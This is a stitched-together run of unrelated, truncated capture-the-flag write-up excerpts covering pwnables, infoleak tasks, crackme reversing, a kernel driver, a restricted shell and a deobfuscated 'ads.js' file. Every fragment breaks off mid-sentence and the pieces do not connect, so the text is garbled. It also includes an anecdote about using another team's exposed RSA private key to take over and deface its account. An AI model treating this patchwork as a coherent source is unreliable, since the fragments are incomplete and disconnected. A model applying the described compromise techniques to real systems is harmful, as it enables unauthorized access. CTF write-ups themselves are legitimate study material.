# pound (Pwnable, 290pts, 20 solves) In this task, we were given service running `host.py`. It had two functions:- printing some tweets stored as files- compiling a binary using user supplied two macros.

(https://en.wikipedia.org/wiki/Information_leakage)Server: 172.31.1.37:1615Binary: 172.31.0.10/tyro_infoleak2_3a3b043ca422415917e99afdc20618e5</span> </span>Approach:This task was identical to infoleak1 except that absolute addresses were not allowed. Since we...
The ciphertext is base-34 encoded. There aren't many clues that would suggest what the problem is, except analysis of the character set. The characters used are within the lowercase letter set and digits, suggesting the possibility of a number encoded as base >16. The highest character observed is 'x', which is present...

##Static analysisThis one is a .NET application ,i opened it in dnspy , it is not obfuscated .It has few functions "Key_Click" in "Form1" class is the function used as event handler for the keys ,set in the constructor of the class,. There are 8 if statements that must be satisfied in a specific order, luckliy the or...
This file is x64 native app ,it has a text box and validate button.The file is not packed and strings are not obfuscated , goodboy and badboy messages are plaintext in the file![](1.PNG) Cross referencing the goodboy message leads to a function that has a call to GetDlgItemTextW, this is the function that will get the...
##Static analysisThis file has no strings , no imports and not packed. ##Dynamic/code analysisThe code starts like this ![](1.PNG) It finds functions dynamically , the "key buffer" is filled with the output of some api calls ,the code is designed for a specific operating system configuration.By tracing the "key buff...
This was a set of bonus points awarded to Neg9 for finding another team's RSA private key stored in their world readable home folder on the community jump box.  Neg9 connected as the team, and spammed the wall about how this account was own3d.  Then changed permissions and moved the private key to a more appropriate .s...
## Worst Pwn Ever (Pwn) ###ENG[PL](#pl-version) We get netcat connection parameters to work with.After connecting to the server we get a custom command-line prompt, but typing some random things cause the connection to close.Some fuzzing lead us to typing `1+()` which crashes with a nice python exception that we can't ...
Task:<span><span>Baby's third infoleak even a tiny mit more even than hard to have.

##Static analysisThe website said that this challenge has a kernel driver. The name of the file is loader so we probably dont care about it , only the loaded driver, so i opened it in CFF explorer and extracted the 3 files. ![](1.PNG) * there are two PE64 files, one of them has some metadata that indicates that it Di...

# Misc 200: hsab Connecting to the server we give a proof of work, and then we are dropped into a shell.No other programs are loaded with it, checking /bin with```cd /binecho *```we see only bash and a server binary. Checking /home there is a ctf/ directory and inside is flag.raywhich probably contains the flag, the on...
.NET APP just copy the validation code in 'btnCheck_Click' and bruteforce the 3 values, or you can analyze the code a bit more and find the xor deobfuscation. ```__author__ = 'abd el rahman'#RGB.exe x = [113,96,111,90,77,21,67,88,83,16,79,22,73,126,82,21,88,91,126,89,17,83,16,82,126,21,76,21,91,16,79,70,92]key = x[3] ...
## Offensive 400 (Offensive, 400p) ###ENG[PL](#pl-version) Challenge starts on webpage which doesn't contain anything (or it looks like this). But after looking at the source code we spot interesting javacript file (named "ads.js"). After deobfuscation it looked like this: ```javascriptvar mnt = function() { window.hos...
